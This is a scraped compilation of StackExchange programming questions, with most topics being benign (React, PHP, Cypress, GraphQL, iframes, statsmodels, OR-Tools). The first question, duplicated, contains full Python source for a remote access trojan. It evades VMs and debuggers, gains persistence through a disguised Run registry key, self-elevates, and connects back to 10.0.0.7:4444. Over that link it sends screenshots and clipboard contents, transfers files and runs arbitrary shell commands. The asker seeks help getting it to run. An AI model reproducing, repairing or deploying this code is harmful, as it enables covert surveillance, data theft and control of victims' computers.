问:
PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions
Whenever I run my code it gives me "PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions" error, it happened after many Python updates.

Here's the code:

```<code>#from tkinter import messagebox
#messagebox.showerror("Error", f"ResourceUnavailable: Program 'cmd.exe' failed to run: An error occurred trying to start process")
from PIL import ImageGrab
import socket
import base64
import os
import platform
import time
import random, string
import psutil
import subprocess
import winreg as reg
import shutil
import ctypes
from ctypes import windll
import sys
import threading
from pynput.mouse import Controller
global mouse_controller
global mouse_movement_counter
global mouse_movement
class evasiontechs:
    mouse_movement_counter = 2000
    mouse_controller = Controller()
    mousemovecount = 2000
    mouse_controller = Controller()
    def zpVXAIPnyaQaYr(): # evation techs
        vmproc1 = "vmsrvc.exe"
        vmproc2 = "vmusrvc.exe"
        vmproc3 = "vmtoolsd.exe"
        vmproc5 = "vboxtry.exe"
        vmproc6 = "df5serv.exe"
        vmproc7 = "vboxservice.exe"
        for proc in psutil.process_iter():
            try:
                if proc.name().lower() == vmproc1.lower() or proc.name().lower() == vmproc2.lower() or proc.name().lower() == vmproc3.lower() or proc.name().lower() == vmproc5.lower() or proc.name().lower() == vmproc6.lower() or proc.name().lower() == vmproc7.lower():
                    exit()
            except WindowsError:
                vmpath1 = os.path.exists(r"C:\\windows\system32\\drivers\\mci.sys")
                vmpath2 = os.path.exists(r"C:\\windows\system32\\drivers\\mhgfs.sys")
                vmpath3 = os.path.exists(r"C:\\windows\system32\\drivers\\mmouse.sys")
                vmpath4 = os.path.exists(r"C:\\windows\system32\\drivers\\mscsi.sys")
                vmpath5 = os.path.exists(r"C:\\windows\system32\\drivers\\musemouse.sys")
                vmpath6 = os.path.exists(r"C:\\windows\system32\\drivers\\mx_svga.sys")
                vmpath7 = os.path.exists(r"C:\\windows\system32\\drivers\\mxnet.sys")
                vmpath8 = os.path.exists(r"C:\\windows\system32\\drivers\\VBoxMouse.sys")
                if vmpath1 == True or vmpath2 == True or vmpath3 == True or vmpath4 == True or vmpath5 == True or vmpath6 == True or vmpath7 == True or vmpath8 == True:
                    exit()
    zpVXAIPnyaQaYr()
    def evation():
        mouse_movement()
        return True
        if not is_debug():
            return False
    def mouse_movement():
        counter = 0
        current_position = mouse_controller.position
        while counter < mouse_movement_counter:
            old_position = mouse_controller.position
            if current_position != old_position:
                current_position = old_position
                counter += 1
    def is_debug():
        try:
            return windll.kernel32.IsDebuggerPresent() != 0
        except Exception:
            return True
#letters = ''.join(random.choice(string.ascii_letters) for l in range(16))
#X = 0
#letters = time.sleep(X)
#letters
def zJnWJKrmzwZTAHJT(f_name, path):
    address=os.path.join(path, f_name)
    key = reg.HKEY_CURRENT_USER
    key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
    open = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
    reg.SetValueEx(open, "Windows Cloud Security", 0, reg.REG_SZ, address)
    reg.CloseKey(open)
BUFFER_SIZE = 1024
def connection():
    try:
        clientHOST="10.0.0.7"
        clientPORT=4444
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        def TeZfZTttAYMjZZ():
            try:
                return ctypes.windll.shell32.IsUserAnAdmin()
            except:
                return False
        if TeZfZTttAYMjZZ():
            connection()
        else:
            ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        if TeZfZTttAYMjZZ() == True:
            pass
        else:
            TeZfZTttAYMjZZ()
        if TeZfZTttAYMjZZ() == True:
            pass
        else:
            TeZfZTttAYMjZZ()
        s.connect((clientHOST, clientPORT))
        s.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
        sys.setrecursionlimit(1500)
        while True:
            Handler_DATA = s.recv(BUFFER_SIZE).decode("utf-8")
            if Handler_DATA == "screenshot":
                screenshot = ImageGrab.grab()
                file = "xpvuNBYVvC.jpg"
                screenshot.save(file)
                f = open(file, 'rb')
                data=f.read()
                data=base64.b64encode(data)
                f.close()
                message = data
                s.send(data)
                time.sleep(1)
                os.remove(file)
            elif Handler_DATA == "restart":
                if platform.system() == "Windows":
                    os.system("shutdown -t 0 -r -f")
                else:
                    os.system("reboot")
            elif Handler_DATA == "shutdown":
                if platform.system() == "Windows":
                    os.system("shutdown /s /t 1")
                else:
                    os.system("shutdown now")
            elif Handler_DATA == "shell":
                    cwd = os.getcwd()
                    s.send(("dir:" + str(cwd)).encode('utf-8'))
                    while True:
                        try:
                            command = s.recv(2048).strip().decode('utf-8')
                            if 'terminate' in command:
                                break
                            elif 'clipboard' in command:
                                CF_TEXT = 1
                                kernel32 = ctypes.windll.kernel32
                                user32 = ctypes.windll.user32
                                kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
                                kernel32.GlobalLock.restype = ctypes.c_void_p
                                kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
                                user32.GetClipboardData.restype = ctypes.c_void_p
                                user32.OpenClipboard(0)
                                IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
                                GetClipboardData = user32.GetClipboardData
                                CloseClipboard = user32.CloseClipboard
                                try:
                                    if IsClipboardFormatAvailable(CF_TEXT):
                                        getClipboardData = GetClipboardData(CF_TEXT)
                                        getClipboardDataLoc = kernel32.GlobalLock(getClipboardData)
                                        text = ctypes.c_char_p(getClipboardDataLoc)
                                        value = text.value
                                        kernel32.GlobalUnlock(getClipboardDataLoc)
                                        s.send(str(value).encode("utf-8"))
                                    if IsClipboardFormatAvailable(CF_TEXT) == False:
                                        pass
                                finally:
                                    CloseClipboard()
                            elif command.startswith('grab'):
                                file_name = command[5:]
                                file_size = os.path.getsize(file_name)
                                s.send(file_name.encode('utf-8'))
                                s.recv(5120).decode('utf-8')
                                s.send(str(file_size).encode('utf-8'))
                                s.recv(5120).decode('utf-8')
                                with open(file_name, "rb") as file:
                                    c = 0
                                    start_time = time.time()
                                    while c < file_size:
                                        data = file.read(5120)
                                        if not (data):
                                            break
                                        s.sendall(data)
                                        c += len(data)
                                    end_time = time.time()
                            elif 'transfer' in command:
                                file_name = s.recv(5120).decode('utf-8')
                                file_size = s.recv(5120).decode('utf-8')
                                with open(file_name, "wb") as file:
                                    c = 0
                                    start_time = time.time()
                                    while c < int(file_size):
                                        data = s.recv(5120)
                                        if not (data):
                                            break
                                        file.write(data)
                                        c += len(data)
                                    end_time = time.time()
                            elif command.startswith('cd '):
                                dir = command[3:]
                                try:
                                    os.chdir(dir)
                                except:
                                    os.chdir(cwd)
                                cwd = os.getcwd()
                                s.send(("dir:" + str(cwd)).encode('utf-8'))
                            elif command.startswith('persistence'):
                                file_name = command[12:]
                                pth = os.getcwd()
                                try:
                                    zJnWJKrmzwZTAHJT(file_name, pth)
                                    s.send("Hooked".encode('utf-8'))
                                except Exception as e:
                                    s.send(str(e).encode('utf-8'))
                            else:
                                CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                                out = CMD.stdout.read()
                                err = CMD.stderr.read()
                                s.send(out)
                                s.send(err)
                                if (out == b'' and err == b''):
                                    s.send("Invalid".encode('utf-8'))
                        except Exception as e:
                            s.send(str(e).encode('utf-8'))
            elif Handler_DATA == "exit":
                s.close()
                exit()
    except socket.error:
        connection()
        if connection() == True:
            pass
        else:
            connection()
    except MemoryError:
        pass
    except SystemError:
        pass
def TCjgbxixqsdxEc():
    cpuChk = psutil.cpu_count(logical=False)
    if cpuChk == 1:
        exit()
    if cpuChk == 3:
        exit()
    else:
        connection()
TCjgbxixqsdxEc()
def PTYMEYUXBRwddE():
    avgDiskChk = shutil.disk_usage("/")
    div = (avgDiskChk // (2**30))
    if div == 59:
        exit()
    if div == 60:
        exit()
    if div == 65:
        exit()
    if div == 120:
        exit()
    if div == 119:
        exit()
    else:
        connection()
PTYMEYUXBRwddE()
connection()
</code>```

I tried disabling Windows Defneder and Windows Firewall, even running it on an isolated VM doesn't help, and also running the code as administrator wont' help, I ran out of ideas...

Body:
Whenever I run my code it gives me "PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions" error, it happened after many Python updates.

Here's the code:

#from tkinter import messagebox
#messagebox.showerror("Error", f"ResourceUnavailable: Program 'cmd.exe' failed to run: An error occurred trying to start process")
from PIL import ImageGrab
import socket
import base64
import os
import platform
import time
import random, string
import psutil
import subprocess
import winreg as reg
import shutil
import ctypes
from ctypes import windll
import sys
import threading
from pynput.mouse import Controller
global mouse_controller
global mouse_movement_counter
global mouse_movement
class evasiontechs:
    mouse_movement_counter = 2000
    mouse_controller = Controller()
    mousemovecount = 2000
    mouse_controller = Controller()
    def zpVXAIPnyaQaYr(): # evation techs
        vmproc1 = "vmsrvc.exe"
        vmproc2 = "vmusrvc.exe"
        vmproc3 = "vmtoolsd.exe"
        vmproc5 = "vboxtry.exe"
        vmproc6 = "df5serv.exe"
        vmproc7 = "vboxservice.exe"
        for proc in psutil.process_iter():
            try:
                if proc.name().lower() == vmproc1.lower() or proc.name().lower() == vmproc2.lower() or proc.name().lower() == vmproc3.lower() or proc.name().lower() == vmproc5.lower() or proc.name().lower() == vmproc6.lower() or proc.name().lower() == vmproc7.lower():
                    exit()
            except WindowsError:
                vmpath1 = os.path.exists(r"C:\\windows\system32\\drivers\\mci.sys")
                vmpath2 = os.path.exists(r"C:\\windows\system32\\drivers\\mhgfs.sys")
                vmpath3 = os.path.exists(r"C:\\windows\system32\\drivers\\mmouse.sys")
                vmpath4 = os.path.exists(r"C:\\windows\system32\\drivers\\mscsi.sys")
                vmpath5 = os.path.exists(r"C:\\windows\system32\\drivers\\musemouse.sys")
                vmpath6 = os.path.exists(r"C:\\windows\system32\\drivers\\mx_svga.sys")
                vmpath7 = os.path.exists(r"C:\\windows\system32\\drivers\\mxnet.sys")
                vmpath8 = os.path.exists(r"C:\\windows\system32\\drivers\\VBoxMouse.sys")
                if vmpath1 == True or vmpath2 == True or vmpath3 == True or vmpath4 == True or vmpath5 == True or vmpath6 == True or vmpath7 == True or vmpath8 == True:
                    exit()
    zpVXAIPnyaQaYr()
    def evation():
        mouse_movement()
        return True
        if not is_debug():
            return False
    def mouse_movement():
        counter = 0
        current_position = mouse_controller.position
        while counter < mouse_movement_counter:
            old_position = mouse_controller.position
            if current_position != old_position:
                current_position = old_position
                counter += 1
    def is_debug():
        try:
            return windll.kernel32.IsDebuggerPresent() != 0
        except Exception:
            return True
#letters = ''.join(random.choice(string.ascii_letters) for l in range(16))
#X = 0
#letters = time.sleep(X)
#letters
def zJnWJKrmzwZTAHJT(f_name, path):
    address=os.path.join(path, f_name)
    key = reg.HKEY_CURRENT_USER
    key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
    open = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
    reg.SetValueEx(open, "Windows Cloud Security", 0, reg.REG_SZ, address)
    reg.CloseKey(open)
BUFFER_SIZE = 1024
def connection():
    try:
        clientHOST="10.0.0.7"
        clientPORT=4444
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        def TeZfZTttAYMjZZ():
            try:
                return ctypes.windll.shell32.IsUserAnAdmin()
            except:
                return False
        if TeZfZTttAYMjZZ():
            connection()
        else:
            ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        if TeZfZTttAYMjZZ() == True:
            pass
        else:
            TeZfZTttAYMjZZ()
        if TeZfZTttAYMjZZ() == True:
            pass
        else:
            TeZfZTttAYMjZZ()
        s.connect((clientHOST, clientPORT))
        s.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
        sys.setrecursionlimit(1500)
        while True:
            Handler_DATA = s.recv(BUFFER_SIZE).decode("utf-8")
            if Handler_DATA == "screenshot":
                screenshot = ImageGrab.grab()
                file = "xpvuNBYVvC.jpg"
                screenshot.save(file)
                f = open(file, 'rb')
                data=f.read()
                data=base64.b64encode(data)
                f.close()
                message = data
                s.send(data)
                time.sleep(1)
                os.remove(file)
            elif Handler_DATA == "restart":
                if platform.system() == "Windows":
                    os.system("shutdown -t 0 -r -f")
                else:
                    os.system("reboot")
            elif Handler_DATA == "shutdown":
                if platform.system() == "Windows":
                    os.system("shutdown /s /t 1")
                else:
                    os.system("shutdown now")
            elif Handler_DATA == "shell":
                    cwd = os.getcwd()
                    s.send(("dir:" + str(cwd)).encode('utf-8'))
                    while True:
                        try:
                            command = s.recv(2048).strip().decode('utf-8')
                            if 'terminate' in command:
                                break
                            elif 'clipboard' in command:
                                CF_TEXT = 1
                                kernel32 = ctypes.windll.kernel32
                                user32 = ctypes.windll.user32
                                kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
                                kernel32.GlobalLock.restype = ctypes.c_void_p
                                kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
                                user32.GetClipboardData.restype = ctypes.c_void_p
                                user32.OpenClipboard(0)
                                IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
                                GetClipboardData = user32.GetClipboardData
                                CloseClipboard = user32.CloseClipboard
                                try:
                                    if IsClipboardFormatAvailable(CF_TEXT):
                                        getClipboardData = GetClipboardData(CF_TEXT)
                                        getClipboardDataLoc = kernel32.GlobalLock(getClipboardData)
                                        text = ctypes.c_char_p(getClipboardDataLoc)
                                        value = text.value
                                        kernel32.GlobalUnlock(getClipboardDataLoc)
                                        s.send(str(value).encode("utf-8"))
                                    if IsClipboardFormatAvailable(CF_TEXT) == False:
                                        pass
                                finally:
                                    CloseClipboard()
                            elif command.startswith('grab'):
                                file_name = command[5:]
                                file_size = os.path.getsize(file_name)
                                s.send(file_name.encode('utf-8'))
                                s.recv(5120).decode('utf-8')
                                s.send(str(file_size).encode('utf-8'))
                                s.recv(5120).decode('utf-8')
                                with open(file_name, "rb") as file:
                                    c = 0
                                    start_time = time.time()
                                    while c < file_size:
                                        data = file.read(5120)
                                        if not (data):
                                            break
                                        s.sendall(data)
                                        c += len(data)
                                    end_time = time.time()
                            elif 'transfer' in command:
                                file_name = s.recv(5120).decode('utf-8')
                                file_size = s.recv(5120).decode('utf-8')
                                with open(file_name, "wb") as file:
                                    c = 0
                                    start_time = time.time()
                                    while c < int(file_size):
                                        data = s.recv(5120)
                                        if not (data):
                                            break
                                        file.write(data)
                                        c += len(data)
                                    end_time = time.time()
                            elif command.startswith('cd '):
                                dir = command[3:]
                                try:
                                    os.chdir(dir)
                                except:
                                    os.chdir(cwd)
                                cwd = os.getcwd()
                                s.send(("dir:" + str(cwd)).encode('utf-8'))
                            elif command.startswith('persistence'):
                                file_name = command[12:]
                                pth = os.getcwd()
                                try:
                                    zJnWJKrmzwZTAHJT(file_name, pth)
                                    s.send("Hooked".encode('utf-8'))
                                except Exception as e:
                                    s.send(str(e).encode('utf-8'))
                            else:
                                CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                                out = CMD.stdout.read()
                                err = CMD.stderr.read()
                                s.send(out)
                                s.send(err)
                                if (out == b'' and err == b''):
                                    s.send("Invalid".encode('utf-8'))
                        except Exception as e:
                            s.send(str(e).encode('utf-8'))
            elif Handler_DATA == "exit":
                s.close()
                exit()
    except socket.error:
        connection()
        if connection() == True:
            pass
        else:
            connection()
    except MemoryError:
        pass
    except SystemError:
        pass
def TCjgbxixqsdxEc():
    cpuChk = psutil.cpu_count(logical=False)
    if cpuChk == 1:
        exit()
    if cpuChk == 3:
        exit()
    else:
        connection()
TCjgbxixqsdxEc()
def PTYMEYUXBRwddE():
    avgDiskChk = shutil.disk_usage("/")
    div = (avgDiskChk // (2**30))
    if div == 59:
        exit()
    if div == 60:
        exit()
    if div == 65:
        exit()
    if div == 120:
        exit()
    if div == 119:
        exit()
    else:
        connection()
PTYMEYUXBRwddE()
connection()

I tried disabling Windows Defneder and Windows Firewall, even running it on an isolated VM doesn't help, and also running the code as administrator wont' help, I ran out of ideas...


来源: stackexchange

问:
issue accessing retrieved data from API which was pushed into a useState array - react ts
I am attempting to render data which was retrieved from my backend server.

The connection works fine and i'm able to retrieve a response.. My problem is that once I have loaded the information into my state-array, I cannot seem to access the properties within.

My useState array filled with the API request's data:

my backend's method i'm calling from my react program:

```<code>router.route("/api/issues").get(getAllIssues);
</code>```

the route is calling the following function:

```<code>export const getAllIssues = async (
  req: Request,
  res: Response
): Promise<void> => {
  try {
    const issues: IssueInterface[] = await Issue.find({});
    res.status(200).json({ issues });
  } catch (err) {
    throw err;
  }
};
</code>```

fetching the data from the api:

```<code>function Issues({ }: Props) {
  const [issuesList, setIssuesList] = useState<IssueInterface[]>([]); // we retrieve from DB issues - we need it to look the same object's structure
  useEffect(() => {
    try {
      axios({
        method: 'get',
        url: 'http://localhost:8001/api/issues',
        headers: { 'Content-type': "application/json" }
      }).then((response) => {
        console.log(typeof (response))
        const issuesStringified = JSON.stringify(response.data)
        console.log("stringified: " + issuesStringified)
        console.log(issuesList)
      })
    } catch (err) {
      console.log("error : " + err);
    }
  }, [])
</code>```

now my attempt to render parts of the array by using the following return function:

```<code>  return (

    <Stack>
      <div>
        {hasLoaded ? issuesList.map((issue: IssueInterface) => <div><h1>company: {issue.company_name}</h1></div>) : <></>}
      </div>
    </Stack>
  )
</code>```

provides the following outcome:

as if, it is unable to access the properties of each element.

any idea what am I doing wrong here?

regards! :_)

ContentLicense: CC BY-SA 4.0

Body:
I am attempting to render data which was retrieved from my backend server.

The connection works fine and i'm able to retrieve a response.. My problem is that once I have loaded the information into my state-array, I cannot seem to access the properties within.

My useState array filled with the API request's data:

my backend's method i'm calling from my react program:

router.route("/api/issues").get(getAllIssues);

the route is calling the following function:

export const getAllIssues = async (
  req: Request,
  res: Response
): Promise<void> => {
  try {
    const issues: IssueInterface[] = await Issue.find({});
    res.status(200).json({ issues });
  } catch (err) {
    throw err;
  }
};

fetching the data from the api:

function Issues({ }: Props) {
  const [issuesList, setIssuesList] = useState<IssueInterface[]>([]); // we retrieve from DB issues - we need it to look the same object's structure
  useEffect(() => {
    try {
      axios({
        method: 'get',
        url: 'http://localhost:8001/api/issues',
        headers: { 'Content-type': "application/json" }
      }).then((response) => {
        console.log(typeof (response))
        const issuesStringified = JSON.stringify(response.data)
        console.log("stringified: " + issuesStringified)
        console.log(issuesList)
      })
    } catch (err) {
      console.log("error : " + err);
    }
  }, [])

now my attempt to render parts of the array by using the following return function:

  return (

    <Stack>

        {hasLoaded ? issuesList.map((issue: IssueInterface) =>

company: {issue.company_name}

) : <></>}

    </Stack>
  )

provides the following outcome:

as if, it is unable to access the properties of each element.

any idea what am I doing wrong here?

regards! :_)


问:
How can I redirect users to different pages based on session data in PHP?
I'm currently trying to redirect a current user type to it's specific site using sessions, whilst also creating a session to check if they are logged in.

I’m expecting to learn all the basic principles of this subject well enough to align the subject, whether you teach them to us, and align the subject for us, or not


问:
Cypress Github Action Fail-The process '/usr/bin/npx' failed with exit code 1
I use GitHub Action for CI/CD, I write some cypress tests and YAML files from it. But when I push the repository I got an error.

```<code>    name: Testing EDGE Portal
    runs-on: self-hosted
    needs: [deploy_edge_service]
    steps:
      - name: Install node
        uses: actions/setup-node@v3
        with:
            node:version: '16'
      - name: setup cypress env
        run: |
            echo "setup cypress env"

      - name: run all test
        uses: cypress-io/github-action@v5
        with:
          start: npm start
          working-directory: ./integration_test/NetProbe_E2E/cypress
          command: npx cypress run --env grepTags="@trap @probe"
</code>```

The failing error

enter image description here

How I fix that problem.

Body:
I use GitHub Action for CI/CD, I write some cypress tests and YAML files from it. But when I push the repository I got an error.

    name: Testing EDGE Portal
    runs-on: self-hosted
    needs: [deploy_edge_service]
    steps:
      - name: Install node
        uses: actions/setup-node@v3
        with:
            node:version: '16'
      - name: setup cypress env
        run: |
            echo "setup cypress env"

      - name: run all test
        uses: cypress-io/github-action@v5
        with:
          start: npm start
          working-directory: ./integration_test/NetProbe_E2E/cypress
          command: npx cypress run --env grepTags="@trap @probe"

The failing error

enter image description here

How I fix that problem.


问:
Call my graphql endpoint through another webapp
I have a backend application(let's call it App A) with a grahql endpoint. It's a NodeJs with Nest framework.
The queries on the frontend are generated with codegen (https://the-guild.dev/graphql/codegen). Both frontend and backend are hosted together.
The calls from the generated queries are working perfectly, and they have a proper header for authentication.
Now, I changed my generated queries to send the calls to another backend app(App B), which should check for some user rights, and if the rights are correct should call next my backend app(App A), where the graphql endpoint is.

My problem is that this calls don't have any authentication headers anymore( the calls that reach App B form frontend), not sure how to generate them from my frontend.


问:
I'm trying to load react + typescript app component (which is running locally) in angular app's iframe. but i'm getting CORS realted error
react app running on http://localhost:4200/inbox

angular app running on http://localhost:3000/login

```<code><div class="wrapper-desk">
    <iframe (load)="isPageLoad=false" height="100%" width="100%"  src='http://localhost:4200/inbox'></iframe>
</div>
</code>```

Getting this error:

```<code></code>```

Unsafe attempt to initiate navigation for frame with origin 'http://localhost:3000' from frame with URL 'http://localhost:4200/inbox'. The frame attempting navigation is targeting its top-level window, but is neither same-origin with its target nor has it received a user gesture. See https://www.chromestatus.com/feature/5851021045661696.

```<code></code>```

tested in mozila, edge and chrome browsers

added all chrome extension of CORS one by one

tested same thing in Ubuntu os

changed host for both app along with different ports (etc/ports)

added iframe's sandbox properties (allow origin, all scripts, allow top navigation)

use dangerouslySetInnerHTML. but it works in react only

Disable same origin policy in Chrome

implemented same thing using

Also tried setting up both projects on nginx. nginx running the project on same host but it's not loading the webpack on browswer. showing 402 not found error.

Body:
react app running on http://localhost:4200/inbox

angular app running on http://localhost:3000/login

Getting this error:

Unsafe attempt to initiate navigation for frame with origin 'http://localhost:3000' from frame with URL 'http://localhost:4200/inbox'. The frame attempting navigation is targeting its top-level window, but is neither same-origin with its target nor has it received a user gesture. See https://www.chromestatus.com/feature/5851021045661696.

tested in mozila, edge and chrome browsers

added all chrome extension of CORS one by one

tested same thing in Ubuntu os

changed host for both app along with different ports (etc/ports)

added iframe's sandbox properties (allow origin, all scripts, allow top navigation)

use dangerouslySetInnerHTML. but it works in react only

Disable same origin policy in Chrome

implemented same thing using

Also tried setting up both projects on nginx. nginx running the project on same host but it's not loading the webpack on browswer. showing 402 not found error.


问:
How retrieve single message from queue EasyNetQ?
I am trying to implement the following solution: How to programmatically resend messages that have faulted with EasyNetQ? . One of the goals of this solution is to retrieve a single message from a given queue with the EasyNetQ library and without using subscriptions.

Regarding that, I am opening a new topic, because I cannot find any trace of the method GetMessageAsync in interface IAdvancedBus.

My code with unresolved method looks like that:

```<code>var message = await advancedBus.GetMessageAsync(errorQueue);
</code>```

Do you know where I can find this method or if there is some other way to solve this?

Body:
I am trying to implement the following solution: How to programmatically resend messages that have faulted with EasyNetQ? . One of the goals of this solution is to retrieve a single message from a given queue with the EasyNetQ library and without using subscriptions.

Regarding that, I am opening a new topic, because I cannot find any trace of the method GetMessageAsync in interface IAdvancedBus.

My code with unresolved method looks like that:

var message = await advancedBus.GetMessageAsync(errorQueue);

Do you know where I can find this method or if there is some other way to solve this?


问:
How do I simplify if statements in python using and?
In my code, I am trying to do something like this:

if a=="1" and b=="1":
    print("true")
else:
    print("false")
```
<p>Is it possible to simplify that so that I can check a and b in one part?</p>
<p>I've tried some stuff, like</p>
<pre class="lang-py prettyprint-override"><code>if a and b == "1":
    print("true")
else:
    print("false")
</code>```

but it just returns true when b == 1, and a == anything

Now resolved, but can't take it out of review.

Body:
In my code, I am trying to do something like this:

if a=="1" and b=="1":
    print("true")
else:
    print("false")

Is it possible to simplify that so that I can check a and b in one part?

I've tried some stuff, like

if a and b == "1":
    print("true")
else:
    print("false")

but it just returns true when b == 1, and a == anything

Now resolved, but can't take it out of review.


问:
MissingDataError: exog contains inf or nans
Input:

```<code>import statsmodels.api as sm
import pandas as pd

# reading data from the csv
data = pd.read_csv('/Users/justkiddings/Desktop/Python/TM/TM.csv')

# defining the variables
x = data['FSP'].tolist()
y = data['RSP'].tolist()

# adding the constant term
x = sm.add_constant(x)

# performing the regression
# and fitting the model
result = sm.OLS(y, x).fit()

# printing the summary table
print(result.summary())
</code>```

Output:

```<code>runfile('/Users/justkiddings/Desktop/Python/Code/untitled28.py', wdir='/Users/justkiddings/Desktop/Python/Code')
Traceback (most recent call last):

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/spyder_kernels/py3compat.py", line 356, in compat_exec
    exec(code, globals, locals)

  File "/Users/justkiddings/Desktop/Python/Code/untitled28.py", line 24, in <module>
    result = sm.OLS(y, x).fit()

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/regression/linear_model.py", line 890, in __init__
    super(OLS, self).__init__(endog, exog, missing=missing,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/regression/linear_model.py", line 717, in __init__
    super(WLS, self).__init__(endog, exog, missing=missing,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/regression/linear_model.py", line 191, in __init__
    super(RegressionModel, self).__init__(endog, exog, **kwargs)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/model.py", line 267, in __init__
    super().__init__(endog, exog, **kwargs)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/model.py", line 92, in __init__
    self.data = self._handle_data(endog, exog, missing, hasconst,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/model.py", line 132, in _handle_data
    data = handle_data(endog, exog, missing, hasconst, **kwargs)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/data.py", line 673, in handle_data
    return klass(endog, exog=exog, missing=missing, hasconst=hasconst,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/data.py", line 86, in __init__
    self._handle_constant(hasconst)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/data.py", line 132, in _handle_constant
    raise MissingDataError('exog contains inf or nans')

MissingDataError: exog contains inf or nans
</code>```

Some of the Data:
DATE,HOUR,STATION,CO,FSP,NO2,NOX,O3,RSP,SO2
1/1/2022,1,TUEN MUN,75,38,39,40,83,59,2
1/1/2022,2,TUEN MUN,72,35,29,30,90,61,2
1/1/2022,3,TUEN MUN,74,38,28,30,91,66,2
1/1/2022,4,TUEN MUN,76,39,31,32,79,61,2
1/1/2022,5,TUEN MUN,72,38,25,26,83,65,2
1/1/2022,6,TUEN MUN,74,37,24,25,86,60,2

I have removed the N.A. in my dataset and they have converted into blanks. (Eg. 3/1/2022,12,TUEN MUN,85,,53,70,59,,5) Why there is MissingDataError? How to fix it? Thanks.

Body:
Input:

import statsmodels.api as sm
import pandas as pd

# reading data from the csv
data = pd.read_csv('/Users/justkiddings/Desktop/Python/TM/TM.csv')

# defining the variables
x = data['FSP'].tolist()
y = data['RSP'].tolist()

# adding the constant term
x = sm.add_constant(x)

# performing the regression
# and fitting the model
result = sm.OLS(y, x).fit()

# printing the summary table
print(result.summary())

Output:

runfile('/Users/justkiddings/Desktop/Python/Code/untitled28.py', wdir='/Users/justkiddings/Desktop/Python/Code')
Traceback (most recent call last):

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/spyder_kernels/py3compat.py", line 356, in compat_exec
    exec(code, globals, locals)

  File "/Users/justkiddings/Desktop/Python/Code/untitled28.py", line 24, in <module>
    result = sm.OLS(y, x).fit()

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/regression/linear_model.py", line 890, in __init__
    super(OLS, self).__init__(endog, exog, missing=missing,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/regression/linear_model.py", line 717, in __init__
    super(WLS, self).__init__(endog, exog, missing=missing,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/regression/linear_model.py", line 191, in __init__
    super(RegressionModel, self).__init__(endog, exog, **kwargs)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/model.py", line 267, in __init__
    super().__init__(endog, exog, **kwargs)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/model.py", line 92, in __init__
    self.data = self._handle_data(endog, exog, missing, hasconst,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/model.py", line 132, in _handle_data
    data = handle_data(endog, exog, missing, hasconst, **kwargs)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/data.py", line 673, in handle_data
    return klass(endog, exog=exog, missing=missing, hasconst=hasconst,

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/data.py", line 86, in __init__
    self._handle_constant(hasconst)

  File "/Users/justkiddings/opt/anaconda3/lib/python3.9/site-packages/statsmodels/base/data.py", line 132, in _handle_constant
    raise MissingDataError('exog contains inf or nans')

MissingDataError: exog contains inf or nans

Some of the Data:
DATE,HOUR,STATION,CO,FSP,NO2,NOX,O3,RSP,SO2
1/1/2022,1,TUEN MUN,75,38,39,40,83,59,2
1/1/2022,2,TUEN MUN,72,35,29,30,90,61,2
1/1/2022,3,TUEN MUN,74,38,28,30,91,66,2
1/1/2022,4,TUEN MUN,76,39,31,32,79,61,2
1/1/2022,5,TUEN MUN,72,38,25,26,83,65,2
1/1/2022,6,TUEN MUN,74,37,24,25,86,60,2

I have removed the N.A. in my dataset and they have converted into blanks. (Eg. 3/1/2022,12,TUEN MUN,85,,53,70,59,,5) Why there is MissingDataError? How to fix it? Thanks.


问:
OR-Tools employee scheduling: Consecutive shift only if employee worked the 1st shift
I have been sitting with the or tools shift scheduling sat
https://github.com/google/or-tools/blob/master/examples/dotnet/ShiftSchedulingSat.cs

Currently an employee can work a max of 3 consecutive days- working

